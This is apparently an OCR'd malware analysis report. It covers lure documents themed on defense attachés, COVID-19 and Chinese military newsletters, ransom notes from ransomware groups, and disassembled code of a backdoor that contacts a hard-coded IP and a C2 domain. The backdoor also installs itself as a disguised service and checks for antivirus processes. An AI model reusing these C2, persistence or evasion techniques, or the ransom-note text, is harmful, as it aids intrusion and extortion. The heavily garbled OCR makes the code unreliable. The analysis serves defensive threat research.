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Service: Army- . Name: Tahera Sultana«

GivenNames: Folade’ . Defense Attache:

Family Name: Safi Spouse: . Rank:Lieutenant Colone!

Name: Habiba- Service: Air Force+

Defence Attache- ’ BRUNEN * Given Name: Azmie
Ranki Colonels - Iskandar+

Family Name: Ariffin

Service: Army. A
Given Name: Rachel Family Spouse
Name: Harrise Name: Ismawatic
istant Attache.’ Defense Attache.
et atone . Rank: Major General
Rank: Squadron Leader
PIE . Service: Al F Service: Armye
AUSRA i enNaes:xin Given Name: Vibol
% s Given Names; Kimberley F v
Family Name: Witson s-mw Name: Mao-
Spouse. ’ pouse.
Name: DanielRiedel E CAMBOOIA: od Name: LauvMelaudy.
Defense Attache- . - Deputy Defense Attache
Rank: Brigadier General p Rank: Ueutenant Colonel
Service: Armys Service: Army

Given Names: Chankiry-

GivenName:Mdsirajul
Family Name: Yang-

el Spouse.

Famil me:: r X

= Mf’ : e Name: Chin Chantheas

Name: Esrat Sikder~ % Defense Attache

Assistant Defence Attache. $ Rank: Major General
E Service: Army+

Navy)«

Servica:Navyw Name: jon Spouse-

Fhiaebiamarits chabad ’ Narme: Sin Kyong Hui-

* Nominal Roll f or BMAC Journal 2020.doc
i b i Do [~ Pak Army Deployed in Country in Fight

Against Coronavirus.pdf.ink L T Do I OIMCNews Letter.pdf.nk LT~
z mshta.exe ! D~ b A

Pak Army Deploved in Country in Fight

Against Coronavirus

Pakistan armed forces have been taken positions across the country, assisting
federal and provincial administrations in order to ensure enforcement measures for
control of COVID-19.

“The armed forces are in action from the day one for implementing the decisions
made by the National Security Committee and directives issued by Prime Minister

Pak Army Deployed in Country in Fight Against Coron  avirus.pdf.Ink
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Office for international Military Cooperation

Ministry of National Defense, People's Republic of China

News Letter: June

40 female officers trained for peacekeeping mission

A total of 40 female officers from 26 countries received certificates on 19 June for completing a
peacekeeping training program jointly sponsored by China's Ministry of National Defense and UN
Women.

The training, which ran from June 08 to 19, aimed to increase the abilities of female peacekeepers in
protecting the interests of women and children, and aiding victims of regional violence.

The officers, including five from China, were selected by UN Women.

The training included courses on peacekeeping action overviews, humanitarian action principles,
protecting civilians in conflicts and community development, as well as exercises on cooperation, early
warning and researching information.

This is the fourth time since 2016 that China has hosted training programs aimed at female
peacekeepers.

According to an official with the Defense Ministry, the training showed China's efforts in fulfilling its
international obligations, undertaking peace missions, and promoting gender equality in peacekeeping.

UN Under-Secretary-General for Peacekeeping Operations, Jean-Pierre Lacroix, attended the ceremony
and spoke highly of China's efforts in peacekeeping actions.

He expressed hopes that female peacekeepers will account for around 15 percent of all peacekeepers in
the near future.

" OIMC Bws Letter.pdf.Ink
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vl = B3
duNumber0fBytesfivailable = B8;
v2 = (char x)1lpBuffer;
duNumber0fBytesRead = 8;

vg = vd;

(SangforUD.exe)o

vd = WHnHttpOpen{L"EasyClient_update/1.68", 8, 8, 8, 8);

I
5

[

7

3

9

'8

1| if { vd && {v4 = WHnHttpConnect{v3, L™185.198.56.191", 8x58u, B8), (hinternet = uvi) t= 8} )
2 g

3 uS = UinHttpOpenRequest{ui, L“GET", L"/Update_check.php?s=DKFMMEKFJIFUIDUFDKFJENEHHHFEJBHEJN", @, @8, 8, 8);
y uh = u5;

‘5 if { vS && WinHttpSendRequest{vS, @, @, 8, @, 8, @) && WinHttpReceiveResponse(ud, @) )
6 {

7 do

8 {

9 duNumber0fBytesAvailable = @;

8 if ( tWinHttpQueryDatafvailable{vs, &duHumberOfBytesAvailable) )

bl sub_188823F8(v2?, B8, duMunmberOfBytesnuvailable + 1);

2 if ( wHinHttpReadData{vé, v2, dwHumberODFBytesAuailable, &dwHumberOfBytesRead) )

3

i u2 += dwNumber0fBytesAvailable;

5 vl += dwHumberOfBytesAvailable;

6 ¥

7 ¥

8 while { dwHumberOfBytesAvailable };

9 WinHttpCloseHandle{u6);

1] uinHttpCloseHandle{hInternet};

H UinHttpCloseHandle{v8};

2 result = vi;

13 H

L else

5 {

16 result = B8;

W H3

Bl )

19| else

-8

A result = B3

2| 3

3| return result;
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Pak-ChinaInternet Security Law 2020.
Pakistan-China National Network Security Incident

Contingency Plans.
frpoting

Progress: 95%

Encapsulated PostScript Graphic Fiter
Copynght © 2000 Access Softek. Al nghts reserved

1.3 working principle:

Adhere to the unified leadership, grading responsibility; adhere to the unified command,

close coordination, rapid response, scientific treastment; adhere to the prevention of

and emergency adhere to who is responsible for who,

wihoisreaponsible fur ning. give fall play 1ol forces togethies Prevention and disposst of
jty incidents

S5~1\Windows\TEMPOR™~1\Content, MSO\74AA65A4 eps

1 Structure and Responsibilities-

and Responsibilities.’

ership of the Central Network Security and Information Leading Group

Provinces, Autonomous Regions And Xinjian

Corps Party Committee Network Security And Information I.tadmg G‘mup‘ The Ccnml And
State Organs Of The Ministries, The People’s Organizations:

“National Network Security Incident Contingency Plans” Has Been The Central Network
Security And Information Leading Group Agreed, Is Now Issued To You, Please Carefully
Organize The Implementation

Central Network Security And Information Leading Group Office-

June 03, 2020.

1 General.

1.1 Purpose of preparation:

Establish and improve the national network security incident emergency mechanism to

Teferred to as the “Leading Group”), the Office of the Central Network Security
and Information Leading Group (hereinafter referred to as the “Central Network Office™)
coordinates the organization of national network security incident response, Establish and
improve the cross-sectoral linkage mechanism, the Ministry of Industry and Information
Technology, the Ministry of Public Security, the State Secrecy Bureau and other relevant
departments in accordance with the division of responsibilities responsible for the relevant
network security incident response.+-

3 Emergency Treatment:
3.1 Event report.

After the network security incident occurs, the incident unit should immediately start the
emergency plan, the implementation of disposal and timely submission of information. The
relevant regions and departments immediately organize the early disposal, control the
situation, eliminate hidden dangers. at the same time organization and judgment. pay
attention to save the evidence, do 2 good job of information communication. For the primary
judgment is particularly significant, major network security incidents, and immediately report
to the emergency office.+

3.2 Emergency response:

The network security incident emergency response is divided into four levels, corre:
- T

National_Network_Security.do cx
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MHE FHE BRO ZEN EEH
F——::: Welcome. Again. ===--- -

[+] Whats Happen? [+]

Your files are encrypted, and currently unavailable. You can check it: all files on
your computer has extension 1281m.

By the way, everything is possible to recover (restore), but you need to follow our
instructions. Otherwise, you cant return your data (MNEVER).

m

[+] What guarantees? [+]

Its just a business. We absolutely do not care about you and your deals, except
getting benefits. If we do not do our work and liabilities - nobody will not
cooperate with us. Its not in our interests.

To check the ability of returning files, You should go to our website. There you
can decrypt one fTile for free. That is our guarantee.

If you will not cooperate with our service - for us, its does not matter. But you
will lose your time and data, cause just we have the private key. In practise -
time is much more valuable than money.

[+] How to get access on website? [+]
You have two ways:
1) [Recommended] Using a TOR browser!
a) Download and install TOR browser from this site: https://torproject.org/

b) Open our website:
http://aplebzudwgazapdgks6vrcvbezcnjppkbxbréwketf56nf6ag2nmyoyd.onion,/CA256D2886874C
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Attention!

| what happened?

we hacked your network and now all your files, documents, photos, databases, and other important data are safely
encrypted with reliable algorithms.

You cannot access the files right now. But do not worry. You can get it back! It is easy to recover in a few steps.
we have also downloaded a Tot of private data from your network, so in case of not contacting us as soon as
possible this data will be released.

If you do not contact us in a 3 days we will post information about your breach on our public news website and
after 7 days the whole downloaded info.

To see what happens to those who don't contact us, google:

* Southwire Maze Ransomware

* MDLab Maze Ransomware

* City of Pensacola Maze Ransomware

After the payment the data will be removed from our disks and decryptor will be given to you, so you can restore
all your files.

| How to contact us and get my files back?

The only method to restore your files and be safe from data leakage is to purchase a unique for you private key
which is securely stored on our servers.

To contact us and purchase the key you have to visit our website in a hidden TOR network.

There are general 2 ways to reach us:

1) [Recommended] Using hidden TOR network.

a) Download a special TOR browser: https://www.torproject.org/

b) Install the TOR Browser.

) Open the TOR Browser

' Maze H
3.3 Egregor*
Egregor* G 2020 9 il " 1 b Sekhmet p Maze
T SV 3 10 A 2020 o3
Egregor 1 ) Crytek H EX ‘EY Cencosudy 1 ¥
VE" S TransLink  Aw =, 1 " Egregor* ) i
bO ~ D WE 0 - r E o3 1°° A Ho
Egregor T 0 b D w ot GE
nA
Egregor* ph g G ChaCha RSA | v N
b RSA ~ »sv v Dp "W b A
| RECOVER-FILES - MNotepad - m] X

File Edit Format View Help

Your network was ATTACKED, your computers and servers were LOCKED,
Your private data was DOWNLOADED.

In order to avoid this issue,
you are to COME IN TOUCH WITH US no later than within 3 DAYS and conclude the data recovery and
breach fixing AGREEMENT.

| What if I do not contact you in 3 days? |
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Objective

To provide guidelines regarding the mitigation of spread of personjto-person transmission of
[ COVID19 fin Government office settings

Rationale

The increasing number of COVID-19 positive cases i the offices reduces the official efficiency
and puts a burden on the official conduct of business. In wake of this, it is prudent to develop
procedures m case of any detection of officersofficials with COVID-19 positive test and make
necessary arrangements for continuation of the official business It is also prudent that the
administrivia measures are in place for periodic cleaning and where necessary, disinfection of
these structures

General Preventive Measures for Government Employeess
* Every govemment office must develop SOPs, based on these guidelines, related to the work
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99 HOP

98 HOP

8B4S 18 MOU EAX,DWORD PTR SS:[EBP+Bx18]

B9 CABSAANA MOV ECX,Bx8CA

25 FFOBBA0RA AND EAX,BxFF

8B75 6C MOU ESI,DWORD PTR SS:[EBP+B8xC]

99 cDQ

F7F9 IDIV ECX

868C2 58 ADD DL, Bx58

85F6 TEST ESI,ESI
. 76 13 JBE SHORT suchosut.@0482946

8B4S 08 MOU EAX,DWORD PTR SS:[EBP+08x8]

8n08 MOU CL,BYTE PTR DS:[EAX]

82cA ADD CL,DL

32CA XOR CL,DL

82cA ADD CL,DL

32CA XOR CL,DL

8808 MOU BYTE PTR DS:[EAX],CL

40 INC EAX

4E DEC ESI
~ 75 F® JNZ SHORT suchosut.@8482936

SE POP ESI

5D POP EBP

c3 RETH

98 NOP

98 HOP
HEX #ii=E ASCII
4D 5n 90 00|63 O 0D 00|64 88 OO OO(FF FF 60 00[H2? ... | ..Uij..
BS 00 0O 0O(B0 GO GO 0G| 40 @0 GO 06|00 60 @0 68|7...... Becenn-.
60 60 GO 06|00 60 G0 GO| 06 OO B0 66|60 66 00 BO| .. .... ... ......
60 @0 B AB|PA 6P @O BA|AA OO 6P BO|BS 61 60 BA| . ........... .

BE 1F BA BE( 688 B4 689 CD|21 B8 81 4C|CD 21 54 G6B|(EN?.¥77L7Th

69 73 28 78|72 6F 67 72|61 6D 28 63|61 6E 6E 6F|is program canno
74 28 62 65|28 72 75 GE|28 69 GE 28|44 4F 53 28|t be run in DOS
6D 6F 64 65(2E 6D 8D BA|24 G0 B0 00|60 OO 68 68 mudp....$ .......

oy DLL
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53

8B1D B3G6OAO10
57

68 G47BOO10
FFD3

8B3D BCAHOBAO1O
68 28818810
58

8946 08
FFD7

68 148180810
8946 20
FF76 B8
FFD7

68 848180810
8946 24
FF76 B8
FFD7

68 Fygoee1e
8946 28
FF76 B8
FFD7

68 Exg080810
8946 2C
FF76 B8
FFD7

68 D8goBe10
8946 30
FF76 B8

FF15 ACA0808618
8D45 ES

8D85 AGBFDFFFF

FF15 88600810

C:\ Windowssvchosvt.exe

IDINC IwmEE

PUSH EBX

HOV EBX,DWORD PTR D3:[0x180860B3]
PUSH EDI

PUSH Bx18807B64

CALL EBX

HOV EDI,DWORD PTR D3:[6x18088608BC]
PUSH Bxz18808128

PUSH EAX

HOV DWORD PTR DS:[ESI+Bx8],EAX
CALL EDI

PUSH Bz18808114

HOV DWORD PTR DS:[E3I+0x28],EAX
PUSH DWORD PTR DS:[ESI+Bx8]
CALL EDI

PUSH Bx18808184

HOV DWORD PTR DS:[E3I+0x24],EAX
PUSH DWORD PTR DS:[ESI+Bx8]
CALL EDI

PUSH Bx188080F%4

HOV DWORD PTR DS:[E3I+0x28],EAX
PUSH DWORD PTR DS:[ESI+Bx8]
CALL EDI

PUSH Bx180080E4

HOV DWORD PTR DS:[E3I+0x2C],EAX
PUSH DWORD PTR DS:[ESI+Bx8]
CALL EDI

PUSH Bx1088080D08

HOV DWORD PTR DS:[E3I+0x38],EAX
PUSH DWORD PTR DS:[ESI+Bx8]

(I

¥

=4

kernel32.LoadLibraryf
ASCII “Kernel32.dll”™

kernel3?2.GetProcAddress
ASCII "CreateProcessA™

ASCII "GetHoduleFileNameR™

ASCII "CreateHutexp™

ASCII "Releaselutex™

ASCII "GetLastError™

ASCII "CloseHandle™

[ y ' C:\Windowssvchosvt.exe 14 A

MUU BYIE FIR 35I| EBP-UxX13],Ux6L
HOU BYTE PTR 3S:[EBP-8x12],8x64
HOU BYTE PTR 3S:[EBP-8x11],8x6F
HOU BYTE PTR SS:[EBP-8x18],8x77
HOU BYTE PTR SS:[EBP-BxF],8x73
HOU BYTE PTR SS:[EBP-BxE],Bx5C
HOU BYTE PTR SS:[EBP-8xD],8x73
HOU BYTE PTR SS:[EBP-BxC],Bx76
HOU BYTE PTR SS:[EBP-BxB],8x63
HOU BYTE PTR SS:[EBP-BxA],Bx68
HOU BYTE PTR SS:[EBP-8x9], Bx6F
HOU BYTE PTR SS:[EBP-8x8],8x73
HOU BYTE PTR SS:[EBP-8x7],8x76
MOU BYTE PTR 3S:[EBP-8x6],0x74
HOU BYTE PTR 3S5:[EBP-8x5],8x2E
HOU BYTE PTR 3S5:[EBP-8x4],8x65
HOU BYTE PTR SS:[EBP-8x3],8x78
HOU BYTE PTR SS:[EBP-8x2], 8265
CALL DWORD PTR DS:[8x1808868AC]
LEA EAX,DWORD PTR SS:[EBP-Bx18]
PUSH EDI

PUSH EAX

LEA EAX,DUWORD PTR SS:[EBP-8x268]
PUSH EAX

CALL DWORD PTR DS:[Bx18886888]

44

TR T9<C s \Windoves\suchosut .exe>
kernel3?2 . GetHoduleFileNamen

kernel32.CopyFilen



IDINEG FREE

la18088
‘18FBa
ac
S]]

Le6aa618
BEFCFFFF

54608018
98FCFFFF
B4FCFFFF
B4FCFFFF

BSFCFFFF
58608018
S4FCFFFF

88FCFFFF

PUSH ERX

PUSH 8x1

POP ESI

PUSH ESI

PUSH 8x2

PUSH 8x118

PUSH @xFB1FF

PUSH DUWORD PTR SS:[EBP+8xC]

PUSH DWORD PTR 33:[EBP+8x28]

PUSH EDI

CALL DWORD PTR DS:[8z18886A58]
HOU DWORD PTR SS:[EBP-8x348],ERX
PUSH EDI

CALL DUWORD PTR DS:[8x18086854]
HOU DWORD PTR SS:[EBP-8x368],EAX
WOV DWORD PTR S3:[EBP-8=34C],0x100085CC
LEA EAX,DWORD PTR S5:[EBP-8=3L4C]
PUSH ERX

PUSH ESI

PUSH DWORD PTR SS:[EBP-Bx34B]
CALL DUWORD PTR DS:[8x18086858]
WOV DWORD PTR S3:[EBP-8237C].EBX
XOR EAX,.EAX

LEA EDI,DWORD PTR SS:[EBP-82378]
ST0S DUNRD PTR FS-TEDT1

advapil2.CreateServicen

advapi3?.LockServiceDatabase

ASCII "Cdefgh”

advapi3?.ChangeServiceConfig2na

662128 {advapi3?.CreateServicen)

B812F 434
B812F 438
B812F43cC
B812F448
BE12F 4y
B812F 448
0812F44C
B812F458
BO12F45h
BO12F458
BE12F45C
B812F460

BO2CHECE || hManager = B02C4BCE
1886885CC || ServiceName = "Cdefgh”

108688CF4 || DisplayName = "Cdefgh Jklmnopq Stuvwxya Cdef"

008F B1FF || DesiredAccess = SERVICE_ALL_ACCESS

0000681108|| ServiceType = SERVICE_WIN3Z_OWNM_PROCESS |SERVICE_INTERACTIVE_PROCESS

poeapae2 || StartType = SERVICE_RUTO_START
000008881 || ErrorControl = SERVICE_ERROR_MORMAL

8812F5CC || BinaryPathHame = "C:yWindows\swchosut._exe®

00008888 || LoadOrderGroup = HULL
00000888 |]| pTagld = HULL

00000880 || pDependencies = HULL
0000800888 || ServiceStartdame = HULL
aaeaeeas | LPassword = MULL

| C:\ Windowssystem32
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HOU ESI,Bx164

LEA EAX,DWORD PTR SS:[EBP-0x288]
PUSH ESI

PUSH EAX

PUSH DUWORD PTR DS:[8x1888BESC]
CALL DWORD PTR DS:[Bx18888AGC] kernel3? . GetHoduleFileNamen
LEA EAX,DWORD PTR SS:[EBP-0x104]
PUSH ESI

PUSH EAX

CALL DUWORD PTR DS:[8x10888AB8] kerneld2?.GetSystemDirectoryn
CALL DWORD PTR DS:[Bx188866EL4] kernel32?.GetTickCount

PUSH EAX

LEA EAX,DWORD PTR SS:[EBP-8x184]
PUSH EAX

LEA EAX,DWORD PTR SS:[EBP-8x184]
PUSH 0x100070FY4 ASCII "%s\%d.bak"
PUSH EAX
CALL DVWORD PTR DS:[Bx1888BACC] user32 .usprintfa
ADD ESP,Bx18

LEA EAX,DWORD PTR SS:[EBP-8x1084]
PUSH EAX

LEA EAX,DWORD PTR SS:[EBP-8x288]
PUSH EAX

CALL DUWORD PTR DS:[8x1888BABC] kernel32? _HoveFilen
PUSH Bx4

LEA EAX,DWORD PTR SS:[EBP-0x104]
PUSH Bx@

PUSH EAX

CALL DUWORD PTR DS:[Bx188BBACH] kernel32? . HoveFileExA
FOP ESI
LEAVE
1RFTH

B012F24%4| B8O0800000|| NewName = HULL

8012F248| BGO0OBOBL4|LFlags = DELAY_UNTIL_REBODDT
B012F24C| BOB0BO081

B012F258| 555C3A43

BO12F25Y4| 73726573

BE12F354 [Existingﬂame = "C:iWindows\system32\11834512.bak™

= - 'Y HKLMBYSTHENMontrolSet \ services 1 Ff Cdef dhL

EEV) MRl EEH)

| BthPan - || 8% E-gi] i

b - BTHPORT "_"\I(Eﬁsk] REG.SZ EEEEE)

i bthserv ab| Description REG_SZ Cdefghij Lmnopgrst Vwxyabe Efghijkl Nop
i BTHUSE ab| DisplayName REG_SZ Cdefgh Jklmnopg Stuvwaya Cdef
jicdefh 24| ErrorCantrol REG_DWORD 000000001 (1)

s cdfs ‘|'|'5\| FailureActions REG_BINARY 80 51 01 00 00 00 00 00 00 00 00 00 03 00 00 00 14 00 00 00 01 00 00 00

;i:;:opS\n "’_‘qGroup REG_SZ Default

- circlass "’_"\llmageF’ath REG_EXPAND 57  CAWindows\svchosvi.exe

. @ curs ab]InstallTime REG_SZ 2020-02-10 14:19

| dr_optimize {b\lMarI-cTime REG_SZ 2020-02-10 16:03
| dr_optimizz {b\lobjer:tl\lame REG_SZ LocalSystem
| CrmBatt ab|Remark REG_SZ MZ?

L] emdide 54 Start REG_DWORD 0x00000002 (2)

L1 CNG | Type REG_DWORD 0x00000110 (272)

j> - s Compbatt

' P YH
e & ) * 360.microsoft20208.com:4721A
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IDINEG FREE . m

wsprintfA{&Hame, aSD, String1, dword_ 188885C0);// ASCII “368.microsoft28288.com:4721"
if { CreateMutexn{@, @, &Hame) && GetLastError{) == 183 )
{
Sleep(@);
ExitProcess(@);
H
sub_18088266F { ServiceName) ;
sub_1080812Da{&u22);

u25 = 8;
uzZh = 8;
t e 8 r
Dp C2 ' 360.microsoft20208.comA
83F8 FF CHP EAX,-Bx1
8946 48 HOU DWORD PTR DS:[ESI+8x48],ERY
. Th ua JE SHORT 10861495
FF75 08 PUSH DWORD PTR SS:[EBP+8x8]
FF15 4088806810 |CALL DWORD PTR DS:[8x10808B48] ws2_32.gethostbynane
8BF8 MOV EDI,EAX
3BFB CHP EDI,EBX
. Th 31 JE SHORT 10861495
FF75 8C PUSH DWORD PTR SS:[EBP+8xC]
66:C745 DC G20|HOU WORD PTR SS:[EBP-Bx24],0x2
FF15 44880610 |CALL DWORD PTR DS:[8x10803B44] ws2_32_ntohs
66:8945 DE MOU WORD PTR SS:[EBP-0x22],AX
8847 6C HOU EAX,DWORD PTR DS:[EDI+8xC]
6h 10 PUSH Bz18
sgoa HOU EAX,DWORD PTR DS:[EAX]
sgoa HOU EAX,DWORD PTR DS:[EAX]
8945 EO HOU DWORD PTR SS:[EBP-8x28],ERX
8D45 DC LEA EAX,DWORD PTR SS:[EBP-8x24]
50 PUSH EAX
FF76 48 PUSH DWORD PTR DS:[ESI+8x48]
FF15 48880810 |CALL DWORD PTR DS:[8x10808B48] ws2_32.connect
83F8 FF CHP EAX,-Bx1
. 75 04 JHZ SHORT 18061499
azce ¥O0R AL,AL
EB 69 JHP _SHORT 18661562
IB48]=769148BE (ws2_32.connect)
HEX #iikE ASCII
33 36 38 2E(6D 69 63 72[6F 73 6F 66(74 32 30 32|360.microsoft262
30 38 2E 63|6F 6D @@ 08| C3 69 55 2443 97 @0 e8| B8.con..fjusce?.
68 C2 68 00|28 AB 68 08|63 00 72 88|6F @@ 73 00| hiE._ (/% c.r.o.s.
6F B0 66 08|74 00 32 00|30 60 32 06830 60 38 00|0_F.t.2.0.2.0.8.

W H A
typedef struct
{
BYTE bToken; =1
char UpGroup[32]; Il Ne
IN_ADDR IPAddress; //  (F 32B - IPv4
char HostName[50]; // h
TCHAR sznet[20];  //net type
OSVERSIONINF@BsX/ erInfoEx; 1l H
DWORD dwMajorVer; /! h
DWORD dwMinorVer; 1l
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3DINC FREE

DWORD dwBuildNumber; // Build
char CPUClockMhz[20];// CPWH
DWORD dwSpeed; 1

UINT blsWebCam; 1 E
bool blsWow64;

DWORD dwMemSize;

char MarkTime[50];, //

char Virus[40]; 1l D
char szQQNum[250]; // QQ
BOOL blsActive; Il

char RemotePort[128]; // 0
ILOGININFO;

wsprintfni&ug, asSystemCurrentc, ServiceHame);
memset{&Dst, B, B8x20u);

u2 =

1strlenad::5tring);

nCreateFile{-2147483646, &v9, aGroup, 1, &Dbst, 8, v2, @);
memset{&uid, B, 8x18u);

vih = 16;

dvord_10008B64{={a1 + 72}, &u30, &uil);
memcpy{&uiz, &Src, 4u);

sub_1806682E86(&u13, Bx32u, &u9);
UersionInformation.dwdSUersionInfosSize = 156
GetVersionExA(&VersionInformation);

if { sub_18803412(&v36, &u35, &U33) )

{
ui

T}
ui

H
u22

6
¥
8

u3lG;
u35;
uwid;

sub_18688336B() '= 8;

sub_18082E2C{&u19);

u3 =

sub_18883611();

1strcpyn(&String1, v3);

vy =

sub_18883F99();

strocpy({&best, ul);

u27y

plii.cbSize = 8;
GetLastInputInfo{&plii);
if ( GetTickCount() - plii.dwTime > Bx2BFZ28 )

u2

7

=1;

Buffer.duLength = 64;
GlobalMemoryStatusEx{&Buffer);

u23
uza
21
ug =

Buffer . ullTotalPhys >> 28;
az2;
sub_18862BEC();

sub_1888345A{uv5);

1strcpyAf&ully, vhi);
sub_108083F1B{aRdpTcp, &uv28, Bx808uj);
sub_188833aB(&veE, &String, Bx32u);
return sub_18081841{al1, &uib, Bx23Cu};

' H

I CTXOPEmt i on_Cbag¢slk Q4
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3DINC FREE . m

Str = @;

memset{&ui1, B, B8x180u);

viZ2 = B;

uld = B3 /4 CTX0PConntion_Class
qmemcpy{&ClassHame, Str2, Bx1Lu);

pest = A;

memset {(&ui6, @, BxFBu);
memset{&u7, B, Bx1808u);

v = 8;
ud = 8;
fFor ( i = FindWindowA{&ClassHame, 8); i; GetCGlassHamen{i, &ClassHame, 2608) )
{
if ( tstrcmp(&ClassHame, Str2) )
{

GetWindowTexta{i, &ClassHame, 268);
vl = strlen{(&ClassHame) ;
do
-—u1l;
while { ={&ClassHame + wi) *= 95 3;
strcpy{&best, &Source[uvi]);
strcat{&str, &Dest);
strcat{&str, ::S5ource);
H
i = GetWindow{i, 2u});
H
CloseHandle{i);
sub_1888359D(&ZLr);
uvZ = strlen{&sStr);
ud = w2 £ 4;

Ca

QQ
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IDINE EnESE : E
afvastCL db ‘AvastfzEEEe,e ; DATA XREF: _data:off_1800717870
db ]
db 0
aAshdisp_exe text "UTF-8", 'ashDisp.exe’,8
; DATA XREF: .data:off 1888717870
afviraBB db ‘Aviral:+ET5z)",0 ;: DATA XREF: .data:off 1888717870
align 4
afvcenter_exe text "UTF-8", "avcenter.exe",8
; DATA XREF: _data:off_1006717070
align 4
asc_10087964 db (|| S5 .0 ; DATA XREF: .data:off_1088871787T0
align 16h
akxetray_exe text "UTF-8", ‘kxetray.exe’,D
; DATA XREF: .data:off_1888717870
aNod32 text "UTF-8", 'HOD32',8 ; DATA XREF: .data:off_ 1008717070
align &4
aEgui_exe text "UTF-8", 'egqui.exe’,B8 ; DATA XREF: .data:uFF_1ﬂﬂB?1?ﬂ?u
align 18h
az db ‘EM0ET L6 ; DATA ¥REF: .data:off_1@@0717670
align &4
alcshield_exe text "UTF-8", 'Mcshield.exe",B8
; DATA XREF: .data:off_1008717070
align 4
asc_108080879A8 db "FRESE",.0 ; DATA XREF: _data:off_1000717870
align 4
aRavmond_exe text "UTF-8", 'RavHonD.exe®,@
; DATA XREF: .data:off_1888717870
aH YIREE . ; DATA XREF: .data:off 180807170870
align &4
akvmonxp_exe text "UTF-8", 'KuMonXF.exe',8
; DATA SREF: _data:off_1086717870
al db FEHEE" .0 ; DATA XREF: _data:off_1000717670
align &4
afup_exe text "UTF-8", "avp.exe',8 ; DATA XREF: .data:uFF_1ﬂﬂﬂ?1?ﬂTu
ERLT db '366EE L0 ; DATA XREF: _data:off_1@06717670
al3bébsd_exe db '36@8sd.exe’ B s DATA XREF: .data:nFF_1ﬂﬂﬂ?1?ﬂTu
db 0
db 0
a366L db ‘3667714 ,a ; DATA XREF: .data:off_108088717070
al6ftray_exe db 368tray.exe’,d s DATA XREF: .data:uFF_1BBﬂ?1?BTu
Dp U 5~ switch no A
woL
w - a avdy "aJv a a a Ne al) a
- i - - 3 o a Messagebax n a’ A
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IDINEG FREE

else
{
suitch ¢ vh )
{
case 8:
sub_18881ES59({*{Size + 1));
return;
case 2:
sub_18881F46{{Size + 1), B);
return;
case 4:
sub_18881F46{(Size + 1), 1);
return;
case 6:

1 IRFAR

®(this + 4 = =(this + 4812) + 12) = sub_18004CF2{@, @, sub_18882567, Size + 1, @, 8);

++#{US + 4E12);
Sleep(Bx64u);
return;
case 8:
sub_18882494({(Size + 1), 1);
return;
case 9:
sub_18882494({(Size + 1), 8);
return;
case 1:
sub_168882828();
return;
case 18:
sub_18882287({Size, lpAddress};
return;
case 12:
sub_18882467(Size, *({this + u4}};
return;
case 13:
i = =fthi=z + AhY:

A * SeShutdownPrivilegeA

/7 FTFFIER 22, hinlFaERIURL

1 BIEE

1O ATEEESH
/7 HIERR

D Ne
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3DINC FREE . m

uly = 1;
u? = LoadlLibrarya{afdvapi3d2 dll 8);

ulh = GetProcAddress{v?, alpenprocesstok);
ui12? = GetProchAddress{u?, afdjusttokenpri);
ui13 = GetProchAddress{uv?, alLookupprivileg});

u3d = LoadlLibraryf{HoduleHame} ;

hLibModule = wuw3;

uly = GetProcfAddress{uvi, aGetcurrentproc);
11 {ub)(hB, &hObject);

result = (ui4){uvs);

if { result )

{

ug = 1;
vil = a2 =8 7 2 : B8; £f SeShutdownPrivilege
(u13){@, al, &uia);
{(v12){h0bject, B, &9, 16, B8, B8);
u? = LoadLibraryf{akernel32 dl11 2);
uf = GetProcAddress{uy, aGetlasterror);
if ( vB() )
ul7y = B;
CloseHandle{hObject);
if ( v2 )
FreeLibrary(v2);
if { hLibModule )
FreeLibrary(hLibModule};
result = vi7;

¥

return result;

FUSH BX1
PUSH ESI
PUSH B8x1008713C ASCII "Applicationsiiexplore.exe\shelliopenicommand™

PUSH @z88000000

CALL 1@8852CA

ADD ESP,@=2C

TEST EAX,EAX

JE SHORT 18082561

LEA EAX,DWORD PTR SS:[EBP-B8x158]
PUSH EAX

CALL DWORD PTR D3:[8x180068D4] kernel32.lstrlenn
TEST EAX,EAX

JE SHORT 18082561

LEA EAX,DWORD PTR S3:[EBP-8x2158]
PUSH 82180687114 ASCIT "%1™
PUSH EAX
CALL DWORD PTR D3:[8x18006158] msucrt.strstr
POP ECX

CHP EAX,ESI

POP ECX

JE SHORT 18082561

PUSH DWORD PTR SS:[EEP+0z8]

PUSH EAX
CALL DWORD PTR DS:[B8x100860E8] kernel32.1strcpyf
PUSH Bx18
XOR EAX,EAX
' URL
w ~ - I'Cdefghl A
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3DINC FREE . m_E

SC_HAMDLE wA; /f eaxiEd

S5C_HAMDLE wi1; /f eaxiEd

int v2; // [sp+Bh] [bp-94h]@1

unsigned int v3; /f [sp+4h] [bp-98h]E2
int uh; // [sp+16h] [bp-84h]E1

1]5] OpeniCHManagerA{@d, 8, 2u};

u OpenServiceA{vd, ServiceMame, BxF@1FFu);
DeleteService{ul);

sub_18881FA4();

U2 = 148;
dword_ 1880BAAB(&VZ);
if ( vh == 2 && v3 >= 6 )

dword_18008EG6A = 1;
exit({@);

7 D~ c2 + "IN p [ A
vil = 1;
vls = 1;

v? = LoadLibrarya{aWininet_d11_@};

hHModule = v2;

u3d = GetProcAddress{v?, alnternetopena};

v12 = {v3){aMsie6_@, 8, B, B, 8);

if {( vi12 && (vb4 = GetProcAddress{v?, alnternetopenur), (ui10 = {uvis){vi12, hFile, @, O, Ox80000088, @)) *= 6) )

hFilea = CreateFileA{lpFileHame, O8x408000806u, @8, 8, 2u, 8, @);
if { hFilea t= -1}

while { 1)

{
memset{&Dst, B8, Bx486u);
v = GetProcAddress{hiodule, alnternetreadfi);
(u6)(uiB, &Dst, 1824, &nHumberOfBytesTolWrite);
if  vi1 )

if { Dst *= 23117 )
break;

H
vil = B;
WriteFile{hFilea, &Dst, nHumberOfBytesToWrite, &NumberOfBytesWritten, @);
if { nNHumberOfBytesToWrite <= 8 )
goto LABEL_12;
H
uis = B3
ABEL_12:
CloseHandle{hFilea);
v2 = hHodule;
H
Sleep(1u};
u? = GetProcAddress{v?, alnternetcloseh)};
{u7y(uvin);
(v7y(uvizy;
if ( v2 )
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else

{
strecpy{&best, Source);

¥

if { *nCreateFile(2147483648, &Dest, 8, 1, &Dst, B, 268, @) )
goto LABEL_21;

memset(&vo, B, Ox1Fhu);

usprintfA{&u6, aSShellOpenComm, &Dst); £ %swshellvopenywcommand

memset (&Dst, @, Bx184u);

Stringl = 83

memset(&ue, B, BxX100u);

vl = B8;

vig = @;

if ( nCreateFile{2147483648, &vu6, B, 2, &Stringi, 8, 2608, B8) )
{

nWriteFIle{&Stringl, &Dst, 268);
u5 = strstr{&bst, SubStr);
